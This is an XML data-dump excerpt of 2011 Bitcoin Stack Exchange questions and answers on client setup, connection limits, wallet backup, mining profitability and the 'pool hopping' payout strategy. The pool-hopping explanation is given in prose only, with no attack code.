  <row Id="461" PostTypeId="1" AcceptedAnswerId="472" CreationDate="2011-09-02T20:23:20.223" Score="11" ViewCount="630" Body="&lt;p&gt;@David's comment on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/370/what-is-a-good-mining-pool-payout-model-for-infrequent-mining/375#375&quot;&gt;this answer&lt;/a&gt; suggests that naive approaches to mining pool management don't work. What attacks are possible on such naive approaches, such as every miner gets a share proportional to his work?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-21T14:23:19.373" Title="What are the problems with naive pool sharing mechanisms?" Tags="|mining-pools|pool-payout-methods|pool-hopping|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="462" PostTypeId="1" AcceptedAnswerId="463" CreationDate="2011-09-02T20:42:47.620" Score="24" ViewCount="3489" Body="&lt;p&gt;I've seen several capitalizations of the term &quot;bitcoin&quot;. What do all these mean?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-09-20T10:22:32.943" LastActivityDate="2022-12-16T17:30:36.290" Title="What is the difference between BitCoin, Bitcoin, and bitcoin?" Tags="|terminology|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostTypeId="2" ParentId="462" CreationDate="2011-09-02T20:53:37.257" Score="40" Body="&lt;p&gt;The following answer seems to be the consensus judging from &lt;a href=&quot;https://bitcoin.meta.stackexchange.com/questions/21/how-do-we-capitalize-bitcoin-or-bitcoin-or-bitcoin&quot;&gt;this question on the meta site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use Bitcoin (with a capital &quot;B&quot;) when talking about the&#xA;  concept/technology.&lt;/li&gt;&#xA;  &lt;li&gt;Use bitcoins (no capitalization) when talking about the unit of&#xA;  currency (4 dollars - 4 bitcoins).&lt;/li&gt;&#xA;  &lt;li&gt;Never use BitCoin or BitCoins&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-03-16T15:49:08.657" LastActivityDate="2011-09-02T20:53:37.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="464" PostTypeId="1" AcceptedAnswerId="473" CreationDate="2011-09-02T21:02:51.877" Score="19" ViewCount="14292" Body="&lt;p&gt;How do I make my client acquire more than 8 connections? What settings in firewall and operating system, or flags at execution do I need to use to allow it?&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="168" LastEditDate="2011-09-04T03:03:37.637" LastActivityDate="2017-12-04T17:39:18.177" Title="Why can't I get over 8 connections on my client?" Tags="|network|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="465" PostTypeId="5" CreationDate="2011-09-02T21:09:54.133" Score="0" Body="&lt;p&gt;Transactions are signed messages about the transfer of bitcoins.&#xA;They are broadcast to the network, and collected in blocks by all peers generating coins.&#xA;The blocks in turn form the blockchain.&lt;br&gt;&#xA;Every transaction included within the blockchain can be viewed using a blockchain explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions contain &lt;em&gt;outputs&lt;/em&gt; which include instructions for spending the bitcoin associated that output, and &lt;em&gt;inputs&lt;/em&gt; which reference an &lt;em&gt;output&lt;/em&gt; in a different transaction. &lt;em&gt;Inputs&lt;/em&gt; and &lt;em&gt;outputs&lt;/em&gt; also contain scripts that specify conditions on which the transferred bitcoins can be spent.&lt;br&gt;&#xA;Such conditions allow distributed contracts like deposits, escrow, or assurance contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Transaction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="48884" LastEditDate="2017-10-20T01:40:31.220" LastActivityDate="2017-10-20T01:40:31.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="466" PostTypeId="4" CreationDate="2011-09-02T21:09:54.133" Score="0" Body="Transactions are signed messages carrying out the transfer or generation of bitcoins. They are broadcast throughout the Bitcoin network and, if accepted, integrated in the blockchain." OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2023-01-11T19:42:46.513" LastActivityDate="2023-01-11T19:42:46.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="467" PostTypeId="5" CreationDate="2011-09-02T21:13:41.943" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-02T21:13:41.943" LastActivityDate="2011-09-02T21:13:41.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostTypeId="4" CreationDate="2011-09-02T21:13:41.943" Score="0" Body="Questions about Namecoin are off topic." OwnerUserId="81" LastEditorUserId="121614" LastEditDate="2022-12-18T22:18:00.930" LastActivityDate="2022-12-18T22:18:00.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="469" PostTypeId="5" CreationDate="2011-09-02T21:15:02.583" Score="0" Body="&lt;p&gt;Satoshi Nakamoto is the pseudonym of a person or group of people who came up with Bitcoin concept. They are allegedly no longer involved with active development of the technology.&lt;/p&gt;&#xA;" OwnerUserId="33867" LastEditorUserId="5406" LastEditDate="2017-06-25T06:38:42.833" LastActivityDate="2017-06-25T06:38:42.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="470" PostTypeId="4" CreationDate="2011-09-02T21:15:02.583" Score="0" Body="Use this tag for questions about the creator of Bitcoin, Satoshi Nakamoto, and their work on Bitcoin." OwnerUserId="81" LastEditorUserId="5406" LastEditDate="2017-06-25T06:40:51.970" LastActivityDate="2017-06-25T06:40:51.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="471" PostTypeId="2" ParentId="462" CreationDate="2011-09-02T21:21:51.953" Score="7" Body="&lt;p&gt;The word Bitcoin was created by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/229/who-is-satoshi-nakamoto&quot;&gt;Satoshi Nakamoto&lt;/a&gt; when he published his paper. He did not  explain any terminology details so there is not an &quot;official version&quot; of how it is spelled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These variations that you saw were created by different people that sometimes try to distinguish the Bitcoin project from the Bitcoin currency or the Bitcoin client. Which is which can usually be understood by the context of the phrase or by asking the person who wrote it.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-03-29T11:48:08.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostTypeId="2" ParentId="461" CreationDate="2011-09-02T21:26:38.097" Score="9" Body="&lt;p&gt;The primary problem is an &quot;attack&quot; of sorts referred to as &quot;Pool Hopping.&quot; Pool hopping was first described in a &lt;a href=&quot;http://mining.bitcoin.cz/media/download/poolcheating.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; by Bitcoin forum member &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=2758&quot; rel=&quot;nofollow&quot;&gt;Raulo&lt;/a&gt; and between the paper and the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3165.0&quot; rel=&quot;nofollow&quot;&gt;ensuing discussion&lt;/a&gt;, it was determined that there is a strategy by which pools utilizing a proportional payout method can be exploited to maximize the miner's payout at the expense of other miners in the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack works something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the number of shares submitted to a pool are less than or equal to 43% of the current difficulty, the miner mines at this pool.&lt;/li&gt;&#xA;&lt;li&gt;If another pool has a lower share count, the miner switches to that pool instead&lt;/li&gt;&#xA;&lt;li&gt;If no pools in the miner's list are at or below the 43% mark, the miner switches to a pool with a fair payout system as backup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The math for why this works is well described in the paper I've linked, but the basic concept is this: If I submit one share and it's the only share in the pool so far and it just so happens to be the share that solves the block, my share was worth 50 BTC to me. If my share is one of two, it was worth 25 BTC and so on. Shares submitted in &quot;short rounds&quot; (i.e. rounds that take n &amp;lt; difficulty shares to solve) are worth more each than those in &quot;long rounds&quot; (n &gt; difficulty shares). If a miner stays at a pool for a long time, the long and short rounds even out. Pool hopping ensures that you're always part of those &quot;short rounds.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full explanation is somewhat more complex, but that's a fairly basic explanation. 43% was chosen due to the math explained in Raulo's paper and there are a few &lt;a href=&quot;https://github.com/c00w/bitHopper&quot; rel=&quot;nofollow&quot;&gt;scripts&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=33031.0&quot; rel=&quot;nofollow&quot;&gt;applications&lt;/a&gt; to automate the pool hopping process, some free and some commercial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://bitcointalk.org/index.php?topic=31400.0&quot; rel=&quot;nofollow&quot;&gt;rampant argument&lt;/a&gt; about the ethics of pool hopping, but there is little argument as to its effectiveness. Even hopping between a single proportional pool and a fair-scored backup pool sees substantial earnings increases. Hopping between multiple vulnerable pools increases gains dramatically.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-10-20T19:26:06.830" LastActivityDate="2011-10-20T19:26:06.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostTypeId="2" ParentId="464" CreationDate="2011-09-02T21:35:28.337" Score="14" Body="&lt;p&gt;Typically connection counts of 10 or lower usually indicate that you are behind a router or firewall that is not configured properly. Try enabling UPnP from within the Bitcoin client's options dialog. If that doesn't work, try &lt;a href=&quot;http://portforward.com/&quot;&gt;manually forwarding&lt;/a&gt; port 8333 to the computer which is running the Bitcoin client/daemon.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-02T21:35:28.337" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostTypeId="1" AcceptedAnswerId="475" CreationDate="2011-09-02T22:21:21.513" Score="9" ViewCount="7441" Body="&lt;p&gt;I have built the bitcoin source on my Ubuntu desktop, and have installed the proper libraries via apt-get and building some. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd src&#xA;bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind: command not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I do &lt;code&gt;./bitcoin&lt;/code&gt; I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bash: ./bitcoin: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="132" LastEditDate="2011-09-02T22:47:43.007" LastActivityDate="2012-02-20T08:25:09.703" Title="Why do I get `bitcoind: command not found` in Ubuntu?" Tags="|ubuntu|bitcoind|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostTypeId="2" ParentId="474" CreationDate="2011-09-02T22:41:57.380" Score="15" Body="&lt;p&gt;Go to the directory with the &lt;code&gt;bitcoind&lt;/code&gt; binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure it's executable:&#xA;&lt;code&gt;chmod +x bitcoind&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now run it:&#xA;&lt;code&gt;./bitcoind -daemon&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="63" LastActivityDate="2011-09-02T22:41:57.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="476" PostTypeId="1" AcceptedAnswerId="477" CreationDate="2011-09-02T23:26:03.660" Score="11" ViewCount="1448" Body="&lt;p&gt;I've just installed the official bitcoin client for the first time on my PC and have visited a website that gives free bitcoins. I've been waiting for more than an hour, but the amount given to me is still not showing in my bitcoin client. Have I missed anything in setting up and configuring the client software?&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditDate="2011-09-02T23:34:54.833" LastActivityDate="2011-09-03T00:33:08.997" Title="Why is my client software not receiving bitcoins?" Tags="|client|installation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="477" PostTypeId="2" ParentId="476" CreationDate="2011-09-02T23:37:43.563" Score="11" Body="&lt;p&gt;There are a few things that you should check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your client is connected (it shows &lt;code&gt;N connections&lt;/code&gt; in the status bar). If it doesn't, you have &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/464/why-cant-i-get-over-8-connections-on-my-client&quot;&gt;connectivity problems&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You have downloaded the whole blockchain (the &lt;code&gt;N blocks&lt;/code&gt; in the status bar is not increasing rapidly). You need to wait until you have downloaded all blocks.&lt;/li&gt;&#xA;&lt;li&gt;Blockexplorer can tell you if the payment has been sent to your address. Just type your address in the &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;search box&lt;/a&gt;. If it doesn't show up in there, it's because it wasn't sent yet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These websites give very small amounts of money for free so they usually group transactions (instead of making many small ones). You probably need to wait a while before the payment is sent.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-09-02T23:37:43.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="478" PostTypeId="1" CreationDate="2011-09-02T23:54:49.387" Score="36" ViewCount="8899" Body="&lt;p&gt;The block chain file is getting rather large, ~500MB.  Is there a way to trim it or clean up, or maybe configure it to be limited in the future?  I am using the stock Bitcoin client on Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="659" LastEditDate="2012-02-14T11:36:33.840" LastActivityDate="2019-06-22T19:46:16.750" Title="How do I reduce the size of the block chain data on my machine?" Tags="|blockchain|client|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="479" PostTypeId="2" ParentId="478" CreationDate="2011-09-03T00:07:04.073" Score="13" Body="&lt;p&gt;For portable devices there are variants of the Bitcoin client often dubbed &quot;selfish clients&quot; in that they do not download any portion of the block chain other than what pertains to their own specific addresses and transactions. To my knowledge, none of these variants has been fully developed into a desktop client, but it is likely that such projects are underway. Unless your system is literally lacking the hardware to accommodate these files, however, it is recommended that you use a non-selfish client version. The lightweight versions are called &quot;selfish&quot; for a reason - by only holding block chain data which pertains to your own transactions, you cannot pass anything but that data to other nodes and as such your client is of minimal (if any) use to the network.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-03T00:07:04.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="480" PostTypeId="2" ParentId="476" CreationDate="2011-09-03T00:17:48.510" Score="0" Body="&lt;p&gt;As nmat said, plus you can be sure you have the entire block chain loaded by checking &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Watch&lt;/a&gt; and confirming that you have the same number of blocks it shows as the current block count.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-09-03T00:17:48.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostTypeId="2" ParentId="419" CreationDate="2011-09-03T00:22:47.140" Score="6" Body="&lt;p&gt;This relationship can be seen visually, though it is a rough correlation.&#xA;In the all time chart (scroll down) you can see the orange being the price at Mt. Gox, and the grey line that steps up and down being the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: &lt;em&gt;AFTER&lt;/em&gt; the price moves, the difficulty follow the same direction, ... lagging two to five weeks roughly:&#xA; - &lt;a href=&quot;http://tvori.info/bitcoin/charts&quot; rel=&quot;nofollow&quot;&gt;http://tvori.info/bitcoin/charts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green line shows profitability, which is not part of your question but is the most important line in that chart so I wanted to point that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, following the traders on the #bitcoin-otc marketplace gives the anecdotal evidence that &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When profitability is high miners are hoarding (they are saving their bitcoins and if adding capacity will do so using their cash to purchase)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When profitability is low miners are generally selling off.  They have electricity bills to pay, credit card bills for the hardware they purchased, etc, and with less profits they liquidate their holdings. This of course, increases price volatility -- especially without any decent Bitcoin derivative instruments (e.g., an options market).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-03T00:22:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="483" PostTypeId="2" ParentId="478" CreationDate="2011-09-03T00:39:28.617" Score="3" Body="&lt;p&gt;&lt;strong&gt;NOTE: Do not use this solution.  It is no longer relevant for current clients. See other answers for suggestions on how to use incomplete blockchain representations.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version of the client doesn't offer much in the way of optimizing space, and does some caching that may cause bloat, but here are some ideas for manual ways that could help.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the wallet.dat file out of the data directory, then remove the data directory.  Restart the client have it build the data directory again and download the block chain. Stop the client replace the wallet.dat file with your backup. Restart the client with the -rescan option.&lt;/li&gt;&#xA;&lt;li&gt;Backup your entire data directory and remove it. Start the client again creating a new data directory, and block chain download. Copy an address from the client. Close the client, backup the new data directory as a different backup.  Restore the old directory.  Start the client and transfer all of your coins to the new address.  You can then restore the number 2 backup of the data directory, and discard the old directory. In this scenario you do not need to restart the client with the -rescan option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, be very careful with these steps, and keep all the backups until you are sure you are successful.  And remember that if you are expecting payments on the old wallet.dat file then you shouldn't use option two unless you can easily update the payment address to your new wallet.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2014-10-07T22:30:04.767" LastActivityDate="2014-10-07T22:30:04.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostTypeId="1" AcceptedAnswerId="487" CreationDate="2011-09-03T01:34:49.037" Score="31" ViewCount="3985" Body="&lt;p&gt;The idea of putting back lost Bitcoins back onto block rewards seems like a great idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I acknowledge that there were quite a handful of early adopters who were generating blocks daily, but had no idea what they were doing. Time passes, they forget about Bitcoin and they format their hard drive or whatever. Their coins enter the nether, never to be seen again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't be surprised if &gt;5% of the current coins in circulation were lost due to mishandling. My question is, why isn't there something implemented for this? I can't find any disadvantage for this feature, it would simple as invalidating coins that haven't been transferred in &lt;code&gt;x&lt;/code&gt; amount of time, which is probable for only sorting lost coins.&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="5406" LastEditDate="2014-06-17T14:36:22.370" LastActivityDate="2018-02-05T04:36:37.637" Title="Why doesn't Bitcoin return lost coins back into the block reward?" Tags="|protocol|shrinking-money-supply|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostTypeId="1" CreationDate="2011-09-03T01:51:00.100" Score="23" ViewCount="5841" Body="&lt;p&gt;It was asked elsewhere, but I'm re-asking the question in a less time sensitive way. Can you please list some of the techniques, charts, spreadsheets, calculators or other tools that help someone to compute mining profitability?&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="5406" LastEditDate="2016-01-20T21:06:22.467" LastActivityDate="2016-01-20T21:06:22.467" Title="How can I compute mining profitability?" Tags="|mining-profitability|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-14T11:09:48.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostTypeId="2" ParentId="484" CreationDate="2011-09-03T01:56:18.877" Score="13" Body="&lt;p&gt;To do so would force those with coins to spend them -- even if just sending to themselves.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending coins lessens privacy.  That is a property of bitcoin that should not be diminished through this forceful measure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, why this fear of lost coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are lost coins.  It happens.  And we have fewer as a result.  It is not a problem -- except for those who lost them :-)  &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-03T01:56:18.877" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostTypeId="2" ParentId="484" CreationDate="2011-09-03T02:15:25.880" Score="48" Body="&lt;p&gt;As Stephen points out it would force people to spend coins. Age is not a proper measure of lostness. A common recommendation for savings accounts is to put them on physical backups such as printed QR codes that you add to while the account itself remains offline. People may even will their Bitcoin savings to their children. To force people to shuffle these coins around from time to time to keep them from being taken undoes one of the major safety features of Bitcoin. Namely that transactions can not be reversed, and your accounts can not be frozen or taken from you by any mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is no reason. The entire Bitcoin economy could be run on a single bitcoin because of its divisibility. There simply is no reason to break other important Bitcoin features to regain those coins. It wouldn't even actually increase the miners' rewards because for every extra coin brought back the wealth is distributed over more coins reducing the value of each coin with inflation. A million dollars of value spread over 1000 bitcoins if there are 1000 bitcoins in circulation, is the same one million dollars of value spread over 1 bitcoin if there is only 1 bitcoin in circulation. &lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2014-01-25T19:27:13.580" LastActivityDate="2014-01-25T19:27:13.580" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostTypeId="2" ParentId="485" CreationDate="2011-09-03T02:31:04.323" Score="11" Body="&lt;p&gt;There are several &lt;a href=&quot;https://en.bitcoin.it/wiki/Profitability_Calculator&quot;&gt;mining profitability calculators&lt;/a&gt; available.  In order to obtain useful data from these, you'll need to predict how the price of bitcoins and the mining difficulty factor will change.  Price charts are available at &lt;a href=&quot;http://bitcoincharts.com/&quot;&gt;bitcoincharts.com&lt;/a&gt;, and difficulty charts are available at &lt;a href=&quot;http://bitcoin.sipa.be/&quot;&gt;bitcoin.sipa.be&lt;/a&gt;.  There are also charts of the price to difficulty ratio available at &lt;a href=&quot;http://bitcoinx.com/charts/&quot;&gt;bitcoinx.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-03T02:31:04.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostTypeId="2" ParentId="474" CreationDate="2011-09-03T03:13:48.577" Score="6" Body="&lt;p&gt;Also, if you want to just run &lt;code&gt;bitcoind&lt;/code&gt; (without &lt;code&gt;./bitcoind&lt;/code&gt;), add it to your executable path:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As Andrew &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/474/why-do-i-get-bitcoind-command-not-found-in-ubuntu/475#475&quot;&gt;mentioned&lt;/a&gt;, first be sure to &lt;strong&gt;&lt;code&gt;chmod +x bitcoind&lt;/code&gt;&lt;/strong&gt; in your &lt;code&gt;src&lt;/code&gt; directory.&lt;/li&gt;&#xA;&lt;li&gt;Still in the &lt;code&gt;src&lt;/code&gt; directory, run &lt;strong&gt;&lt;code&gt;pwd&lt;/code&gt;&lt;/strong&gt; to get the full path (for example &lt;code&gt;/home/alex/src&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Add it to your .profile with &lt;strong&gt;&lt;code&gt;echo &quot;export PATH=$PATH:/home/alex/src&quot; &amp;gt;&amp;gt; ~/.profile&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can execute &lt;code&gt;bitcoind&lt;/code&gt; from anywhere in your system when logged with your user.&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-09-03T03:13:48.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostTypeId="1" AcceptedAnswerId="509" CreationDate="2011-09-03T05:11:40.773" Score="41" ViewCount="48931" Body="&lt;p&gt;I'm used to synchronize my data on different machines. Depending on the data I use SVN, Dropbox or SSH (Unison). Is this possible with the bitcoin wallet, too? &lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="78" LastEditDate="2011-09-03T05:21:14.423" LastActivityDate="2017-05-16T06:38:53.090" Title="Can I use my wallet on different computers?" Tags="|wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="491" PostTypeId="2" ParentId="490" CreationDate="2011-09-03T05:30:19.370" Score="6" Body="&lt;p&gt;Yes. The only file you need to worry about is &lt;code&gt;wallet.dat&lt;/code&gt; (location dependent on operating system). If you copy that one file to another computer (or to a secure backup), you will have access to your money and address book. Conversely, that is the only file you need to protect -- all of the other files should be safe to share without worrying about anyone getting their hands on your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only applies to your &lt;em&gt;money and address book&lt;/em&gt;. If you only copy &lt;code&gt;wallet.dat&lt;/code&gt;, you will need to re-download the entire block chain on the other computer (so you may want to copy the other files too, but it is not necessary). There is no point in backing up the other files, because if you need to, you can redownload everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you should not leave your cleartext wallet in any server that you don't control (such as DropBox). Make sure you encrypt it before backing it up.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2011-09-03T05:30:19.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostTypeId="1" AcceptedAnswerId="542" CreationDate="2011-09-03T06:05:30.637" Score="38" ViewCount="5951" Body="&lt;p&gt;The original client that can be downloaded from &lt;a href=&quot;http://www.bitcoin.org&quot;&gt;www.bitcoin.org&lt;/a&gt; is often referred to as the &quot;official client&quot;. Similarly many regard &lt;a href=&quot;http://www.bitcoin.org&quot;&gt;www.bitcoin.org&lt;/a&gt; as the &quot;official homepage&quot; of the project. So, who runs it? Is it the core developers? Some Bitcoin association? Or just a private person?&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2016-07-10T15:52:31.330" Title="Who runs www.bitcoin.org?" Tags="|community|contribution|trust|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="493" PostTypeId="1" CreationDate="2011-09-03T06:55:49.177" Score="11" ViewCount="6452" Body="&lt;p&gt;I am curious on how many estimated BTC I will earn at any hash rate since, I don't really think I'm really earning any BTC at 600 Mhash/s.&lt;/p&gt;&#xA;" OwnerDisplayName="user173" LastActivityDate="2018-06-26T14:19:02.543" Title="Exactly how does one calculate how many BTC they will get a certain hashrate?" Tags="|mining-profitability|money-supply|hash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostTypeId="2" ParentId="493" CreationDate="2011-09-03T07:12:26.193" Score="4" Body="&lt;p&gt;You can see an estimation of the total hashrate &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. At this point 12.85 Terahash/s. So your share of that would be 600/12850000 = 0,00004 = 0,004%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;50BTC / 10 minutes are awarded to miners, that is 7200 BTC /day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0,00004 * 7200 = 0.34&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, roughly 0.34 BTC/day if my calculations are correct.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;https://en.bitcoin.it/wiki/Profitability_Calculator&quot; rel=&quot;nofollow&quot;&gt;here is a list of calculators&lt;/a&gt; that can be used.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinx.com/profit/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://0x10.org/sandbox/bitcalc/&quot; rel=&quot;nofollow&quot;&gt;http://0x10.org/sandbox/bitcalc/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.web-share.nl/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.web-share.nl/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last one seems very easy to use, simply input your hashrate and press &quot;calculate&quot;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-03T07:29:19.643" LastActivityDate="2011-09-03T07:29:19.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
